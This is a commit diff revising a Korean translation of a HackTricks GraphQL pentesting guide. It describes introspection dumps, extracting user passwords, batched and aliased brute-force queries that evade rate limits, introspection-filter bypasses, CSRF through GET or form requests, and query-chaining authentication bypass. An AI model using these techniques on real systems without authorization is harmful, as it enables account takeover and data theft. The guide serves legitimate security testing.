Translated ['network-services-pentesting/pentesting-web/graphql.md', 'ne

This commit is contained in:
Translator 2024-07-17 11:18:05 +00:00
parent 7c52c66c87
commit 2290396dce
4 changed files with 222 additions and 207 deletions

View file

@ -2,25 +2,25 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
다른 방법으로 HackTricks를 지원하는 방법:
HackTricks를 지원하는 다른 방법:
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구하세요
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구하세요
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) **팔로우**하세요.
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) **팔로우**하세요.
- **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소를 참조하세요.
</details>
## 소개
GraphQL은 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공하여 REST API에 대안으로 **강조**됩니다. REST가 데이터를 수집하기 위해 다양한 엔드포인트에 걸쳐 여러 요청을 필요로 하는 반면, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 단순화는 데이터 가져오기 프로세스의 복잡성을 줄여 개발자들에게 큰 **이점**을 제공합니다.
GraphQL은 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공하여 REST API에 대한 **효율적인 대**으로 **강조**됩니다. REST가 데이터를 수집하기 위해 다양한 엔드포인트에 걸쳐 여러 요청을 필요로 하는 반면, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 단순화는 데이터 가져오기 프로세스의 복잡성을 줄여 개발자들에게 큰 **이점**을 제공합니다.
## GraphQL과 보안
GraphQL을 포함한 새로운 기술이 등장함에 따라 새로운 보안 취약점도 발생합니다. **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않는다**는 점을 주목해야 합니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 중대한 보안 위험을 초래할 수 있습니다.
GraphQL을 포함한 새로운 기술의 등장으로 새로운 보안 취약점도 발생합니다. **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않는다**는 점을 주목해야 합니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 중대한 보안 위험을 초래할 수 있습니다.
### 디렉터리 브루트 포스 공격과 GraphQL
@ -35,7 +35,7 @@ GraphQL을 포함한 새로운 기술이 등장함에 따라 새로운 보안
- `/graphql/api`
- `/graphql/graphql`
된 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근 가능한 데이터를 이해하는 데 중요합니다. GraphQL의 내부 조사 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 정보는 GraphQL 내부 조사에 대한 문서를 참조하세요: [**GraphQL: API를 위한 쿼리 언어.**](https://graphql.org/learn/introspection/)
개된 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근 가능한 데이터를 이해하는 데 중요합니다. GraphQL의 내부 조사 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 정보는 GraphQL 내부 조사에 대한 문서를 참조하세요: [**GraphQL: API를 위한 쿼리 언어**](https://graphql.org/learn/introspection/)
### 지문
@ -43,13 +43,13 @@ GraphQL을 포함한 새로운 기술이 등장함에 따라 새로운 보안
#### Universal queries <a href="#universal-queries" id="universal-queries"></a>
URL이 GraphQL 서비스인지 확인하려면 **universal query**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면 URL이 GraphQL 엔드포인트를 호스팅한다는 것을 확인합니다. 이 방법은 GraphQL의 `__typename` 필드에 의존하며, 쿼리된 객체의 유형을 나타냅니다.
URL이 GraphQL 서비스인지 확인하려면 **universal query**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되어 있다면 URL이 GraphQL 엔드포인트를 호스팅한다는 것을 확인합니다. 이 방법은 GraphQL의 `__typename` 필드에 의존하며, 쿼리된 객체의 유형을 나타냅니다.
```javascript
query{__typename}
```
### 기본 열거
Graphql은 일반적으로 **GET**, **POST** (x-www-form-urlencoded) 및 **POST**(json)을 지원합니다. 보안을 위해 CSRF 공격을 방지하려면 json만 허용하는 것이 좋습니다.
Graphql은 일반적으로 **GET**, **POST** (x-www-form-urlencoded) 및 **POST**(json)을 지원합니다. 보안을 위해 CSRF 공격을 방지하기 위해 json만 허용하는 것이 권장됩니다.
#### 인트로스펙션
@ -179,7 +179,7 @@ name
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
마지막 코드 라인은 graphql 쿼리이며 graphql에서 모든 메타 정보를 덤프하는 쿼리입니다 (객체 이름, 매개변수, 유형 등).
마지막 코드 라인은 graphql에서 모든 메타 정보를 덤프 할 graphql 쿼리입니다 (객체 이름, 매개 변수, 유형 등).
![](<../../.gitbook/assets/image (363).png>)
@ -189,19 +189,19 @@ name
이제 데이터베이스 내에 저장된 정보의 종류를 알았으니 **일부 값을 추출**해 보겠습니다.
인트로스펙션에서 **직접 쿼리할 수 있는 객체를 찾을 수 있습니다** (존재하는 객체를 쿼리할 수 없기 때문에). 다음 이미지에서 "_queryType_"이 "_Query_"로 호출되고 "_Query_" 객체의 하나의 필드가 "_flags_"인 것을 볼 수 있습니다. 이 "_flags_" 객체를 쿼리할 수 있습니다.
인트로스펙션에서 **직접 쿼리 할 수있는 객체를 찾을 수 있습니다** (존재하는 객체를 쿼리 할 수 없기 때문에). 다음 이미지에서 "_queryType_"이 "_Query_"로 호출되고 "_Query_" 객체의 하나의 필드가 "_flags_"인 것을 볼 수 있습니다. 이는 또한 객체 유형입니다. 따라서 flag 객체를 쿼리 할 수 있습니다.
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>)
쿼리의 유형 "_flags_"는 "_Flags_"이며, 이 객체는 다음과 같이 정의됩니다:
쿼리 "_flags_"의 유형이 "_Flags_"임을 유의하십시오. 이 객체는 다음과 같이 정의됩니다:
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>)
"_Flags_" 객체는 **이름**과 **값**으로 구성되어 있음을 알 수 있습니다. 따라서 다음 쿼리로 모든 플래그의 이름과 값을 가져올 수 있습니다:
"_Flags_" 객체는 **name** 및 **value**로 구성되어 있음을 볼 수 있습니다. 그런 다음 쿼리로 모든 플래그의 이름과 값을 가져올 수 있습니다:
```javascript
query={flags{name, value}}
```
참고로 **쿼리할 대상 객체**가 다음 예와 같이 **문자열**과 같은 **기본 타입**인 경우
참고로 **쿼리할 대상 객체**가 다음 예와 같이 **문자열**과 같은 **기본 타입**인 경우
![](<../../.gitbook/assets/image (958).png>)
@ -218,8 +218,8 @@ query={hiddenFlags}
![](<../../.gitbook/assets/image (1042).png>)
어떻게 보면 "_**uid**_" 인수인 _**Int**_ 유형을 사용하여 검색할 것 같습니다.\
어쨌든, 이미 [기본 열거](graphql.md#basic-enumeration) 섹션에서 필요한 모든 정보를 보여주는 쿼리가 제안되었음을 알고 있습니다: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
어떻게 보면 "_**uid**_" 인수인 _**Int**_ 유형을 사용하여 검색할 것으로 보입니다.\
어쨌든, 이미 [기본 열거](graphql.md#basic-enumeration) 섹션에서 필요한 모든 정보를 보여주는 쿼리가 제안되었음을 알고 있습니다: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
그 쿼리를 실행할 때 제공된 이미지를 읽으면 "_**user**_"가 _Int_ 유형의 "_**uid**_" 인수를 가지고 있음을 알 수 있습니다.
@ -228,7 +228,7 @@ query={hiddenFlags}
![](<../../.gitbook/assets/image (90).png>)
"**user**"와 "**password**" 매개변수를 요청할 수 있다는 것을 **발견**했음에 유의하십시오. 만약 존재하지 않는 것을 찾으려고 하면 (`query={user(uid:1){noExists}}`), 다음과 같은 오류가 발생합니다:
"_**user**_"와 "_**password**_" 매개변수를 요청할 수 있다는 것을 **발견**했음에 유의하십시오. 만약 존재하지 않는 것을 찾으려고 하면 (`query={user(uid:1){noExists}}`), 다음과 같은 오류가 발생합니다:
![](<../../.gitbook/assets/image (707).png>)
@ -236,13 +236,13 @@ query={hiddenFlags}
**쿼리 문자열 덤프 트릭 (감사 @BinaryShadow\_)**
`query={theusers(description: ""){username,password}}`와 같이 문자열 유형으로 검색할 수 있다면, **빈 문자열로 검색**하면 **모든 데이터가 덤프**됩니다. (_이 예는 튜토리얼 예제와 관련이 없으며, 이 예에서는 "**theusers**"를 사용하여 "**description**"이라는 문자열 필드로 검색할 수 있다고 가정합니다"_).
`query={theusers(description: ""){username,password}}`와 같이 문자열 유형으로 검색할 수 있다면, **빈 문자열로 검색**하면 모든 데이터가 덤프됩니다. (_이 예는 튜토리얼 예제와 관련이 없으며, 이 예에서는 "**theusers**"를 사용하여 "**description**"이라는 문자열 필드로 검색할 수 있다고 가정합니다"_).
### 검색
이 설정에서 **데이터베이스**에는 **사람**과 **영화**가 포함되어 있습니다. **사람**은 **이메일**과 **이름**으로 식별되며, **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있고 또한 영화를 소유할 수 있어 데이터베이스 내에서 관계를 나타냅니다.
이 설정에서 **데이터베이스**에는 **사람**과 **영화**가 포함되어 있습니다. **사람**은 **이메일**과 **이름**으로 식별되며, **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있으며 데이터베이스 내에서 관계를 나타내는 영화를 가질 수 있습니다.
사람을 **이름으로 검색**하여 이메일을 얻을 수 있습니다:
사람을 **이름으로** 검색하여 이메일을 얻을 수 있습니다:
```javascript
{
searchPerson(name: "John Doe") {
@ -265,7 +265,7 @@ name
}
}
```
참고로 해당하는 사람의 `subscribedMovies``name`을 검색하는 방법이 나와 있습니다.
다음은 해당 사람의 `subscribedMovies``name`을 검색하는 방법이 표시되어 있습니다.
또한 **동시에 여러 객체를 검색**할 수도 있습니다. 이 경우, 2개의 영화를 검색합니다:
```javascript
@ -302,13 +302,13 @@ name
**변이는 서버 측에서 변경 사항을 만드는 데 사용됩니다.**
**내부 조사**에서 **선언된 변이**를 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"으로 호출되며 "_Mutation_" 객체에는 변이의 이름(이 경우 "_addPerson_")이 포함되어 있습니다:
**내**에서 **선언된 변이**를 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"으로 불리며 "_Mutation_" 객체에는 변이의 이름들이 포함되어 있습니다 (이 경우 "_addPerson_"과 같은):
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>)
이 설정에서 **데이터베이스**에는 **사람**과 **영화**가 포함되어 있습니다. **사람**은 **이메일**과 **이름**으로 식별되며 **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있으며 데이터베이스 내에서 관계를 나타내는 영화도 가질 수 있습니다.
데이터베이스 내에**새로운 영화를 만드는** 변이는 다음과 같이 할 수 있습니다 (이 예에서 변이는 `addMovie`로 호출됨):
데이터베이스 내에 **새로운** 영화를 만드는 변이는 다음과 같을 수 있습니다 (이 예에서 변이는 `addMovie`로 불립니다):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@ -319,9 +319,9 @@ rating
}
}
```
**쿼리에서 데이터의 값과 유형이 모두 표시 방법에 주목하십시오.**
**쿼리에서 데이터의 값과 유형이 모두 표시되는 방법에 주목하십시오.**
또한 데이터베이스는 `addPerson`이라는 **변이** 작업을 지원하며, 이를 통해 **친구** 및 **영화**에 대한 연결과 함께 **사람**을 생성할 수 있습니다. 새로 생성된 사람에 연결하기 전에 친구 및 영화가 데이터베이스에 미리 존재해야 한다는 점이 중요합니다.
또한 데이터베이스는 `addPerson`이라는 **변이** 작업을 지원하며, 이를 통해 **사람들**과 그들의 기존 **친구** 및 **영화**와의 연관성을 만들 수 있습니다. 새로 생성된 사람과 연결하기 전에 친구 및 영화가 데이터베이스에 미리 존재해야 한다는 점이 중요합니다.
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@ -349,20 +349,20 @@ releaseYear
}
}
```
### 지시문 오버로딩
### 지시어 과부하
[**이 보고서에 설명된 취약점 중 하나**](https://www.landh.tech/blog/20240304-google-hack-50000/)에 설명된 대로, 지시문 오버로딩은 서버가 작업을 낭비하도록 만들기 위해 지시문을 수백만 번 호출하는 것을 의미합니다.
[**이 보고서에 설명된 취약점 중 하나**](https://www.landh.tech/blog/20240304-google-hack-50000/)에 설명된 대로, 지시어 과부하는 서버가 작업을 낭비하도록 만들기 위해 수백만 번의 지시어를 호출하는 것을 의미합니다.
### 1개의 API 요청에서 브루트 포스 일괄 처리
이 정보는 [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)에서 얻었습니다.\
이 정보는 [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)에서 가져왔습니다.\
**다른 자격 증명으로 많은 쿼리를 동시에 보내 인증**하는 것입니다. 이것은 클래식한 브루트 포스 공격이지만 이제 GraphQL 일괄 처리 기능 덕분에 HTTP 요청 당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 방법은 외부 속도 모니터링 애플리케이션이 모든 것이 잘되고 암호를 추측하려는 봇이 없다고 생각하게 할 것입니다.
아래에서 **한 번에 3개의 다른 이메일/비밀번호 쌍**을 사용하여 응용 프로그램 인증 요청의 가장 간단한 데모를 찾을 수 있습니다. 당연히 동일한 방법으로 한 번에 수천 개를 보낼 수 있습니다:
아래에서 **한 번에 3개의 다른 이메일/비밀번호 쌍**을 사용하여 응용 프로그램 인증 요청의 가장 간단한 데모를 찾을 수 있습니다. 당연히 동일한 방법으로 한 번에 수천 개를 보낼 수 있습니다:
![](<../../.gitbook/assets/image (1081).png>)
응답 스크린샷에서 볼 수 있듯이, 첫 번째와 세 번째 요청은 _null_을 반환하고 해당 정보를 _error_ 섹션에 반영했습니다. **두 번째 변이는 올바른 인증** 데이터를 가지고 있으며 응답에는 올바른 인증 세션 토큰이 포함되어 있습니다.
응답 스크린샷에서 볼 수 있듯이, 첫 번째와 세 번째 요청은 _null_을 반환하고 _error_ 섹션에 해당 정보를 반영했습니다. **두 번째 변이는 올바른 인증** 데이터를 가지고 있으며 응답에는 올바른 인증 세션 토큰이 포함되어 있습니다.
![](<../../.gitbook/assets/image (119) (1).png>)
@ -370,13 +370,13 @@ releaseYear
더 이상 **graphql 엔드포인트가 인트로스펙션을 비활성화**하고 있습니다. 그러나 graphql이 예상치 못한 요청을 받았을 때 던지는 오류는 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance)와 같은 도구가 대부분의 스키마를 재구성하는 데 충분합니다.
또한, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 전달되는 GraphQL API 요청을 관찰**하고 각 새로운 쿼리마다 내부 GraphQL **스키마를 작성**합니다. 또한 GraphiQL 및 Voyager를 위해 스키마를 노출시킬 수 있습니다. 이 확장 프로그램은 인트로스펙션 쿼리를 받으면 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 자세한 정보는 [**여기를 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
또한, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 전달되는 GraphQL API 요청을 관찰**하고 각 새로운 쿼리마다 내부 GraphQL **스키마를 작성**합니다. 또한 GraphiQL 및 Voyager를 위해 스키마를 노출시킬 수 있습니다. 이 확장 프로그램은 인트로스펙션 쿼리를 받으면 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 자세한 정보는 [**여기를 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
[**여기에서 GraphQL 엔티티를 발견하는 데 유용한 단어 목록**](https://github.com/Escape-Technologies/graphql-wordlist?)을 찾을 수 있습니다.
[**여기에서 GraphQL 엔티티를 발견하는 데 사용할 수 있는 좋은 단어 목록**](https://github.com/Escape-Technologies/graphql-wordlist?)을 찾을 수 있습니다.
### GraphQL 인트로스펙션 방어 우회 <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
API에서 인트로스펙션 쿼리에 대한 제한을 우회하려면 `__schema` 키워드 뒤에 **특수 문자를 삽입**하는 것이 효과적입니다. 이 방법은 `__schema` 키워드에 초점을 맞춘 인트로스펙션을 차단하려는 정규식 패턴에서 일반적인 개발자 실수를 이용합니다. GraphQL이 무시하지만 정규식에서 고려되지 않을 수 있는 문자(예: 공백, 새 줄 및 쉼표)를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 새 줄이 있는 인트로스펙션 쿼리는 이러한 방어를 우회할 수 있습니다:
API에서 인트로스펙션 쿼리에 대한 제한을 우회하려면 `__schema` 키워드 뒤에 **특수 문자를 삽입**하는 것이 효과적입니다. 이 방법은 `__schema` 키워드에 집중하여 인트로스펙션을 차단하려는 정규식 패턴에서 일반적인 개발자 실수를 악용합니다. GraphQL이 무시하지만 정규식에서 고려되지 않을 수 있는 문자(예: 공백, 새 줄 및 쉼표)를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 새 줄이 있는 인트로스펙션 쿼리는 이러한 방어를 우회할 수 있습니다:
```bash
# Example with newline to bypass
{
@ -384,11 +384,11 @@ API에서 인트로스펙션 쿼리에 대한 제한을 우회하려면 `__schem
{queryType{name}}}"
}
```
만약 실패한다면, **GET 요청**이나 **`x-www-form-urlencoded`를 사용한 POST**와 같은 대체 요청 방법을 고려하십시오. 제한 사항이 POST 요청에만 적용될 수 있기 때문입니다.
만약 실패한다면 **GET 요청**이나 **`x-www-form-urlencoded`를 사용한 POST**와 같은 대체 요청 방법을 고려하십시오. 제한 사항이 POST 요청에만 적용될 수 있기 때문입니다.
### **노출된 GraphQL 구조 발견하기**
Introspection이 비활성화된 경우, JavaScript 라이브러리에서 사전로드된 쿼리를 웹 사이트의 소스 코드로 조사하는 것 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러낼 수 있습니다. 개발자 도구 내에서 검색하는 명령어는 다음과 같습니다:
Introspection이 비활성화된 경우, JavaScript 라이브러리에서 사전로드된 쿼리를 웹 사이트의 소스 코드로 조사하는 것 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러낼 수 있습니다. 개발자 도구 내에서 검색하는 명령어는 다음과 같습니다:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
@ -396,15 +396,15 @@ file:* query
```
## GraphQL에서의 CSRF
만약 CSRF가 무엇인지 모르겠다면 다음 페이지를 읽어보세요:
만약 CSRF가 무엇인지 모다면 다음 페이지를 읽어보세요:
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %}
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
{% endcontent-ref %}
여기서 여러 개의 GraphQL 엔드포인트를 발견할 수 있습니다. **CSRF 토큰 없이 구성된** 것들이 있습니다.
여기서 여러분은 **CSRF 토큰 없이 구성된** 몇 개의 GraphQL 엔드포인트를 찾을 수 있을 것입니다.
GraphQL 요청은 일반적으로 Content-Type을 사용하여 POST 요청으로 전송됩니다. **`application/json`**.
GraphQL 요청은 일반적으로 Content-Type을 **`application/json`**으로 사용하여 POST 요청을 통해 전송됩니다.
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
@ -412,13 +412,13 @@ GraphQL 요청은 일반적으로 Content-Type을 사용하여 POST 요청으로
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
따라서 이전과 같은 CSRF 요청은 **사전 요청(preflight requests) 없이** 전송되므로 CSRF를 악용하여 GraphQL에서 **변경**을 수행할 수 있습니다.
따라서, 이전과 같은 CSRF 요청은 **사전 요청(preflight requests) 없이** 전송되므로, CSRF를 남용하여 GraphQL에서 **변경**을 수행할 수 있습니다.
그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값은 `Lax`입니다. 이는 쿠키가 제3자 웹에서 GET 요청으로 전송될 것을 의미합니다.
그러나, Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값은 `Lax`입니다. 이는 쿠키가 제3자 웹에서 GET 요청으로 전송될 것을 의미합니다.
또한 **쿼리 요청**을 GET 요청으로도 보낼 수 있으며 CSRF 토큰이 GET 요청에서 유효성을 검사받지 않을 수 있음을 유의하십시오.
또한, **쿼리 요청**을 GET 요청으로도 보낼 수 있으며, GET 요청에서 CSRF 토큰이 유효성 검사되지 않을 수 있음을 유의하십시오.
또한 [**XS-Search**](../../pentesting-web/xs-search/) **공격**을 악용하면 사용자의 자격 증명을 악용하여 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다.
또한, [**XS-Search**](../../pentesting-web/xs-search/) **공격**을 남용하여 사용자의 자격 증명을 악용하여 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다.
자세한 정보는 [**여기의 원본 게시물**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)을 확인하십시오.
@ -440,7 +440,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
[쿼리를 연결](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)하여 약한 인증 시스템을 우회할 수 있습니다.
아래 예시에서 작업이 "forgotPassword"임을 볼 수 있으며 해당 작업에 연결된 forgotPassword 쿼리만 실행되어야 합니다. 이를 우회하기 위해 끝에 쿼리를 추가할 수 있습니다. 이 경우 "register"를 추가하고 시스템이 새 사용자로 등록되도록 사용자 변수를 추가합니다.
아래 예시에서 작업이 "forgotPassword"임을 볼 수 있으며 해당 작업에 연결된 forgotPassword 쿼리만 실행야 합니다. 이를 우회하기 위해 끝에 쿼리를 추가할 수 있습니다. 이 경우 "register"를 추가하고 시스템이 새 사용자로 등록되도록 사용자 변수를 추가합니다.
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
@ -450,9 +450,9 @@ GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 명명**할
GraphQL 별칭에 대한 자세한 이해를 위해 다음 리소스를 참고하십시오: [별칭](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
별칭의 주요 목적은 다수의 API 호출을 줄이는 데 있지만, 별칭을 사용하여 GraphQL 엔드포인트에서 브루트 포스 공격을 실행하는 데 활용할 수 있는 부작용이 식별되었습니다. 이는 일부 엔드포인트가 **HTTP 요청 수를 제한**하여 브루트 포스 공격을 방지하도록 설계된 속도 제한기로 보호되어 있지만, 이러한 속도 제한기가 각 요청 내의 작업 수를 고려하지 않을 수 있기 때문입니다. 별칭을 사용하면 단일 HTTP 요청 내에 여러 쿼리를 포함할 수 있기 때문에 이러한 속도 제한 조치를 우회할 수 있습니다.
별칭의 주요 목적은 다수의 API 호출을 줄이는 데 있지만, 별칭을 사용하여 GraphQL 엔드포인트에서 브루트 포스 공격을 실행하는 데 활용할 수 있는 부작용이 식별되었습니다. 이는 일부 엔드포인트가 **HTTP 요청 수를 제한**하여 브루트 포스 공격을 방지하도록 설계된 속도 제한기로 보호되어 있지만, 이러한 속도 제한기가 각 요청 내의 작업 수를 고려하지 않을 수 있기 때문입니다. 별칭을 사용하면 단일 HTTP 요청 내에 여러 쿼리를 포함할 수 있기 때문에 이러한 속도 제한 조치를 우회할 수 있습니다.
다음 예시를 고려해보면, 별칭 쿼리가 상점 할인 코드의 유효성을 확인하는 데 사용되는 방법을 보여줍니다. 이 방법은 여러 할인 코드의 유효성을 확인할 수 있도록 여러 쿼리를 하나의 HTTP 요청으로 통합함으로써 속도 제한을 우회할 수 있을 수 있습니다.
다음 예시를 고려해보면, 별칭 쿼리가 상점 할인 코드의 유효성을 확인하는 방법을 보여줍니다. 이 방법은 여러 할인 코드의 유효성을 확인할 수 있도록 여러 쿼리를 하나의 HTTP 요청으로 컴파일할 수 있기 때문에 속도 제한을 우회할 수 있을 것입니다.
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
@ -472,12 +472,13 @@ valid
### 취약점 스캐너
* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): GraphQL 엔드포인트의 일반적인 구성 오류를 테스트합니다.
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 사용 중인 GraphQL을 지문합니다.
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 스키마를 가져와 민감한 데이터를 검색하고, 권한을 테스트하며, 스키마를 무력화하고, 특정 유형으로의 경로를 찾을 수 있는 도구입니다.
* [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 일괄 GraphQL 쿼리 및 뮤테이션 수행에 중점을 둔 GraphQL 보안 감사 스크립트입니다.
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 사용 중인 graphql을 지문합니다.
